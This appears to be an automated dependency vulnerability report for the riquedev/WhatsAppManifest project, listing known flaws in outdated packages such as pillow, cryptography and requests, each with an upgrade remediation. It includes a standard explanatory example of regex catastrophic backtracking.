Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). Improper checks in PSDImagePlugin may result in a DoS when calling Image.open.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). The readline in EPS use an accidentally quadratic method of accumulating lines while looking for a line ending. A malicious EPS file can use this to perform a DoS in the open phase, before an image is accepted for opening.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Insufficient Validation

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Insufficient Validation. In TiffDecode.c, there is a negative-offset memcpy with an invalid size.

Remediation

Upgrade Pillow to version 8.1.1 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. The PCX image decoder uses the reported image stride to calculate the row buffer, rather than calculating it from the image size.

Remediation

Upgrade Pillow to version 8.1.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. There is a 4 byte read overflow in SGIRleDecode.c, where the code is not correctly checking the offsets and length tables.

Remediation

Upgrade Pillow to version 8.1.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read due to invalid tile boundaries lead.

Remediation

Upgrade Pillow to version 8.1.1 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. A out-of-bounds read in exists in J2kDecode in j2ku_graya_la.

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. A out-of-bounds read in exists in J2kDecode in j2ku_gray_i.

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via next_object_id.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade Pillow to version 8.1.1 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade Pillow to version 8.3.2 or higher.

References

high severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@10.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

Upgrade pillow to version 10.0.0 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: python-socketio
  • Introduced through: python-socketio@4.4.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-socketio@4.4.0
    Remediation: Upgrade to python-socketio@5.14.0.

Overview

python-socketio is a Socket.IO server and client for Python

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via payloads that are passed between Socket.IO processes in multi-server deployments. An attacker can execute arbitrary code by sending a crafted pickle payload to a message queue used for inter-server communication.

Note: This is only exploitable if the attacker has already compromised the message queue or if the queue was publicly exposed.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade python-socketio to version 5.14.0 or higher.

References

high severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') in x509/v3_genn.c, when processing X.400 addresses with CRL checking enabled (e.g. when X509_V_FLAG_CRL_CHECK is set). An attacker in possession of both the certificate chain and CRL, of which neither needs a valid signature, can expose memory or cause a denial of service. If the attacker only controls one of these inputs, the other input must already contain an X.400 address as a CRL distribution point, which is uncommon.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

high severity

GPL-3.0 license

  • Module: python-axolotl
  • Introduced through: python-axolotl@0.2.3

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3

GPL-3.0 license

high severity

GPL-3.0 license

  • Module: python-axolotl-curve25519
  • Introduced through: python-axolotl-curve25519@0.4.1.post2 and python-axolotl@0.2.3

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl-curve25519@0.4.1.post2
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 python-axolotl-curve25519@0.4.1.post2

GPL-3.0 license

medium severity

XML Injection

  • Vulnerable module: xmltodict
  • Introduced through: xmltodict@0.12.0, apkutils2@1.0.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a xmltodict@0.12.0
    Remediation: Upgrade to xmltodict@0.15.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkutils2@1.0.0 xmltodict@0.12.0
    Remediation: Upgrade to apkutils2@1.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 apkutils2@1.0.0 xmltodict@0.12.0
    Remediation: Upgrade to adbutils@0.7.1.

Overview

Affected versions of this package are vulnerable to XML Injection via the content_handler.startElement() call with missing sanitization. An attacker can manipulate input data by crafting dictionary keys that inject arbitrary XML elements or break the structure of the generated XML document.

Remediation

Upgrade xmltodict to version 0.15.0 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: certifi
  • Introduced through: certifi@2019.11.28, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a certifi@2019.11.28
    Remediation: Upgrade to certifi@2022.12.7.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 certifi@2019.11.28
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 certifi@2019.11.28
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 certifi@2019.11.28

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity resulting in Certifi root certificate removal from TrustCor. The root certificates are being removed pursuant to an investigation prompted by media reporting that TrustCor's ownership also operated a business that produced spyware.

Remediation

Upgrade certifi to version 2022.12.7 or higher.

References

medium severity

Use of a Broken or Risky Cryptographic Algorithm

  • Vulnerable module: pycryptodome
  • Introduced through: pycryptodome@3.9.7

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pycryptodome@3.9.7
    Remediation: Upgrade to pycryptodome@3.19.1.

Overview

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm in the OAEP decryption process, which previously had a side-channel leakage issue. This vulnerability could potentially be exploited through a Manger attack, a type of cryptographic attack.

Remediation

Upgrade pycryptodome to version 3.19.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.4.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). The POLY1305 MAC (message authentication code) implementation might corrupt the internal state of applications on the Windows 64 platform when running on newer X86_64 processors supporting AVX512-IFMA instructions. If an attacker can influence whether the POLY1305 MAC algorithm is used in an application, the application state might be corrupted with various application dependent consequences, the most likely of which being denial of service. The maintainers are currently not aware of any concrete application that would be affected by this issue.

NOTES:

This vulnerability is only exploitable on Windows.

The FIPS provider is not affected by this issue.

Workaround

Disable AVX512-IFMA instructions by setting the environment variable OPENSSL_ia32cap: OPENSSL_ia32cap=:~0x200000

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.4 or higher.

References

medium severity

Buffer Over-read

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@9.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Buffer Over-read via the path_getbbox method in path.c during initialization of ImagePath.Path.

Remediation

Upgrade Pillow to version 9.0.0 or higher.

References

medium severity

Resource Exhaustion

  • Vulnerable module: idna
  • Introduced through: idna@2.9, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a idna@2.9
    Remediation: Upgrade to idna@3.7.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 idna@2.9
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 idna@2.9
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 idna@2.9

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the idna.encode function. An attacker can consume significant resources and potentially cause a denial-of-service by supplying specially crafted arguments to this function.

Note: This is triggered by arbitrarily large inputs that would not occur in normal usage but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

Remediation

Upgrade idna to version 3.7 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: requests
  • Introduced through: requests@2.23.0, adbutils@0.7.1 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0
    Remediation: Upgrade to requests@2.31.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

